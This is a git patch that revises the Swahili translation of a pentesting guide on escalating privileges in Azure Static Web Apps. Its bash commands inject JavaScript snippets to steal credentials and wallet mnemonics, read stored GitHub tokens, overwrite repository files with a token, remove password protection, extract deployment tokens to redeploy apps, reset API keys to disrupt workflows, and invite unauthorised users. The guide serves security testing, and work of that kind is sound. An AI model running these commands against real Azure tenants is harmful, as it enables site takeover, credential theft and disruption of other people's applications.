From e1349388221ca235f72319dd3a8ca0b181564a4f Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 18 Jan 2026 12:02:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala --- .../az-static-web-apps-privesc.md | 52 +++++++++---------- 1 file changed, 26 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index fc4fdc6e4..c22c41326 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -12,9 +12,9 @@ Kwa habari zaidi kuhusu huduma hii angalia: ### Microsoft.Web/staticSites/snippets/write -Inawezekana kufanya ukurasa wa wavuti statiki upakie HTML yoyote kwa kuunda snippet. Hii inaweza kumruhusu attacker ku-inject JS code ndani ya web app na kuiba taarifa za siri kama credentials au mnemonic keys (in web3 wallets). +Inawezekana kufanya ukurasa wa wavuti wa static upakue msimbo wa HTML wowote kwa kuunda snippet. Hii inaweza kumruhusu attacker kuingiza JS code ndani ya web app na kuiba taarifa nyeti kama credentials au mnemonic keys (katika web3 wallets). -The following command create an snippet that will always be loaded by the web app:: +Amri ifuatayo itaunda snippet ambayo itapakiwa kila wakati na web app:: ```bash az rest \ --method PUT \ @@ -31,7 +31,7 @@ az rest \ } }' ``` -### Soma Cheti za Wahusika wa Tatu Zilizosanidiwa +### Kusoma cheti za mtu wa tatu zilizowekwa Kama ilivyoelezwa katika sehemu ya App Service: @@ -39,7 +39,7 @@ Kama ilivyoelezwa katika sehemu ya App Service: ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Kwa kuendesha amri ifuatayo inawezekana **kusoma cheti za wahusika wa tatu** zilizosanidiwa katika akaunti ya sasa. Kumbuka kwamba, kwa mfano, ikiwa baadhi ya Github credentials zimesanidiwa kwa mtumiaji tofauti, hautaweza kufikia token kutoka kwa mtumiaji mwingine. +Kwa kuendesha amri ifuatayo inawezekana **kusoma cheti za mtu wa tatu** zilizosanifiwa kwenye akaunti ya sasa. Kumbuka kwamba, kwa mfano, ikiwa baadhi ya cheti za Github zimesanifiwa chini ya mtumiaji mwingine, huwezi kufikia token kutoka kwa mtumiaji mwingine. ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" @@ -69,14 +69,14 @@ curl -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://graph.microsoft.com/v1.0/me/drive/root/children ``` -### Kuandika upya faili - Kuandika upya routes, HTML, JS... +### Kuandika juu ya faili - Kuandika juu ya routes, HTML, JS... -Inawezekana **kuandika upya faili ndani ya Github repo** inayohifadhi app kupitia Azure ikiwa inamiliki **Github token**, kwa kutuma ombi kama lifuatalo ambalo litaonyesha njia ya faili ya kuandika upya, maudhui ya faili na ujumbe wa commit. +Inawezekana **kuandika juu ya file ndani ya Github repo** inayohifadhi app kupitia Azure ikiwa inayo **Github token**, kwa kutuma request kama ifuatayo ambayo itaonyesha path ya file ya kuandika juu yake, content ya file na commit message. -Hii inaweza kutumiwa vibaya na wadukuzi kwa msingi wa **kubadilisha yaliyomo ya web app** ili kuwasilisha maudhui ya hatari (steal credentials, mnemonic keys...) au kwa tu **kupeleka njia fulani upya** kwenye seva zao kwa kuandika upya faili `staticwebapp.config.json`. +Hii inaweza kutumiwa vibaya na wadukuzi kubadilisha kwa msingi **content ya web app** ili kutoa malicious content (kupora credentials, mnemonic keys...) au tu **re-route certain paths** kwa servers zao kwa kuandika juu ya `staticwebapp.config.json` file. > [!WARNING] -> Kumbuka kwamba ikiwa mshambulizi ataweza kudhoofisha usalama wa Github repo kwa njia yoyote, wanaweza pia kuandika upya faili hiyo moja kwa moja kutoka Github. +> Kumbuka kwamba ikiwa mdukuzi atafanikiwa kudhoofisha Github repo kwa njia yoyote, wanaweza pia kuandika juu ya file moja kwa moja kutoka Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` -### Microsoft.Web/staticSites/config/write +### Microsoft.Web/staticSites/config/write -Kwa ruhusa hii, inawezekana **kubadilisha nenosiri** linalolinda app ya wavuti isiyobadilika au hata kuondoa ulinzi kwa mazingira yote kwa kutuma ombi kama lifuatalo: +Kwa ruhusa hii, inawezekana **kubadilisha nenosiri** linalolinda static web app au hata kuondoa ulinzi kwa mazingira yote kwa kutuma ombi kama ifuatayo: ```bash # Change password az rest --method put \ @@ -133,7 +133,7 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -Ruhusa hii inaruhusu kupata **API key deployment token** kwa ajili ya static app. +Ruhusa hii inaruhusu kupata **API key deployment token** ya static app. Kutumia az rest: ```bash @@ -144,27 +144,27 @@ Kutumia AzCLI: ```bash az staticwebapp secrets list --name --resource-group ``` -Kisha, ili **update an app using the token** unaweza kuendesha amri ifuatayo. Kumbuka kuwa amri hii ilichukuliwa kwa kuangalia **jinsi Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) inavyofanya kazi**, kwani ndiyo Azure imeiweka kwa chaguo-msingi kutumia. Hivyo image na parameters zinaweza kubadilika wakati ujao. +Kisha, ili **kusasisha app using the token** unaweza kuendesha amri ifuatayo. Kumbuka kuwa amri hii ilitolewa kwa kuangalia **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, kwa kuwa ndio ile Azure iliweka kwa chaguo-msingi kutumia. Hivyo image na parameters zinaweza kubadilika siku zijazo. > [!TIP] -> Ili kupeleka app unaweza kutumia zana ya **`swa`** kutoka [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) au fuata hatua zifuatazo: +> Ili ku-deploy app unaweza kutumia zana ya **`swa`** kutoka [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) au fuata hatua zifuatazo: -1. Pakua repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (au repo nyingine yoyote unayotaka kupeleka) na endesha `cd react-basic`. -2. Badilisha msimbo unaotaka kupeleka -3. Ipeleke kwa kuendesha amri ifuatayo (Kumbuka kubadilisha ``): +1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (au repo nyingine yoyote unayotaka ku-deploy) na run `cd react-basic`. +2. Change the code you want to deploy +3. Deploy it running (Remember to change the ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> Hata kama una token hautaweza ku-deploy app ikiwa **Deployment Authorization Policy** imewekwa kuwa **Github**. Kwa kutumia token utahitaji ruhusa `Microsoft.Web/staticSites/write` kubadilisha deployment method ili kutumia th APi token. +> Hata kama una token hutaweza ku-deploy app ikiwa **Sera ya Uidhinishaji ya Utekelezaji** imewekwa kuwa **Github**. Ili kutumia token utahitaji ruhusa `Microsoft.Web/staticSites/write` kubadilisha njia ya deployment ili kutumia token ya APi. ### Microsoft.Web/staticSites/write -Kwa ruhusa hii inawezekana **kubadilisha chanzo cha static web app kwenda repository tofauti ya Github**, hata hivyo, haitapigwa provisioning kiotomatiki kwani hii lazima ifanywe kutoka kwa Github Action. +Kwa ruhusa hii inawezekana **kubadilisha chanzo cha static web app kwenda repository tofauti ya Github**, hata hivyo haitoweza kusetiwa moja kwa moja kwa kuwa lazima ifanywe kupitia Github Action. -Hata hivyo, ikiwa **Deployment Authotization Policy** imewekwa kuwa **Github**, inawezekana **kusasisha app kutoka kwenye repository ya chanzo mpya!**. +Hata hivyo, ikiwa **Sera ya Uidhinishaji ya Utekelezaji** imewekwa kuwa **Github**, inawezekana **kusasisha app kutoka kwenye repository mpya ya chanzo!**. -Iwapo **Deployment Authorization Policy** haijawekwa kuwa **Github**, unaweza kuibadilisha kwa ruhusa ile ile `Microsoft.Web/staticSites/write`. +Ikiwa **Sera ya Uidhinishaji ya Utekelezaji** haijawekwa kuwa Github, unaweza kuibadilisha kwa ruhusa ile ile `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -187,7 +187,7 @@ az rest --method PATCH \ } }' ``` -Mfano wa Github Action wa kupeleka app: +Mfano wa Github Action ili ku-deploy app: ```yaml name: Azure Static Web Apps CI/CD @@ -250,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -Kwa ruhusa hii inawezekana **reset the API key of the static web app**, na hivyo kuweza DoSing workflows zinazodeploy app kiotomatiki. +Kwa ruhusa hii inawezekana **reset the API key of the static web app**, jambo linaloweza kusababisha DoSing kwa workflows zinazoweka app kiotomatiki. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -Ruhusa hii inaruhusu **kuunda mwaliko kwa mtumiaji** ili kupata ufikiaji wa njia zilizo na ulinzi ndani ya static web app kwa cheo maalum kilichotolewa. +Ruhusa hii inaruhusu **kuunda mualiko kwa mtumiaji** ili aweze kufikia njia zilizo na ulinzi ndani ya static web app kwa role maalum iliyotolewa. -Sehemu ya kuingia iko katika njia kama `/.auth/login/github` kwa github au `/.auth/login/aad` kwa Entra ID na mtumiaji anaweza kualikwa kwa kutumia amri ifuatayo: +Login iko katika path kama `/.auth/login/github` kwa github au `/.auth/login/aad` kwa Entra ID, na mtumiaji anaweza kualikwa kwa amri ifuatayo: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -272,12 +272,12 @@ az staticwebapp users invite \ ``` ### Pull Requests -Kwa chaguo-msingi Pull Requests kutoka tawi ndani ya repo hiyo zitaweza kucompile na kujengwa kiotomatiki katika mazingira ya staging. Hii inaweza kutumiwa vibaya na mshambuliaji mwenye ruhusa ya kuandika kwenye repo lakini asiyeweza kuvuka ulinzi wa tawi la production (kawaida `main`) ili **deploy toleo hatarishi la app** kwenye URL ya staging. +Kwa kawaida Pull Requests kutoka tawi ndani ya repo hiyo zitatengenezwa na kujengwa moja kwa moja katika mazingira ya staging. Hii inaweza kutumiwa vibaya na mshambuliaji aliye na ufikiaji wa kuandika kwenye repo lakini ambaye hawezi kuingia juu ya ulinzi wa tawi la uzalishaji (kwa kawaida `main`) ili **kudeploy toleo la hatari la app** kwenye URL ya staging. The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Kumbuka kwamba kwa chaguo-msingi external PRs hazitafanya run workflows isipokuwa wameruhusu (merged) angalau PR 1 ndani ya repository. Mshambuliaji anaweza kutuma PR halali kwenye repo na **kisha kutuma PR hatarishi** kwenye repo ili deploy app hatarishi katika mazingira ya staging. HATAKWAMBA, kuna ulinzi usiotarajiwa: default Github Action ya ku-deploy kwenye static web app inahitaji ufikiaji wa secret inayoshikilia deployment token (kama `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) hata ikiwa deployment imefanywa kwa IDToken. Hii inamaanisha kwamba kwa kuwa external PR haitapata ufikiaji wa secret hii na external PR haiwezi kubadilisha Workflow kuweka token yoyote hapa bila PR kukubaliwa, **shambulio hili halitafanya kazi kwa kweli**. +> Kumbuka kwamba kwa chaguo-msingi PR za nje hazitaiendesha workflows isipokuwa kama zimeunganisha angalau PR 1 kwenye repository. Mshambuliaji anaweza kutuma PR halali kwenye repo na kisha **kutuma PR yenye madhara** kwenye repo ili kudeploy app hatari katika mazingira ya staging. HATAKO, kuna kinga isiyotarajiwa: default Github Action ya ku-deploy kwenye static web app inahitaji ufikiaji wa secret inayohifadhi deployment token (kama `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) hata ikiwa deployment inafanywa kwa IDToken. Hii ina maana kwamba kwa kuwa PR ya nje haitakuwa na ufikiaji wa secret hii na PR ya nje haiwezi kubadilisha Workflow ili kuweka hapa token yoyote bila PR kukubaliwa, **shambulio hili halitafanya kazi kweli**. {{#include ../../../banners/hacktricks-training.md}}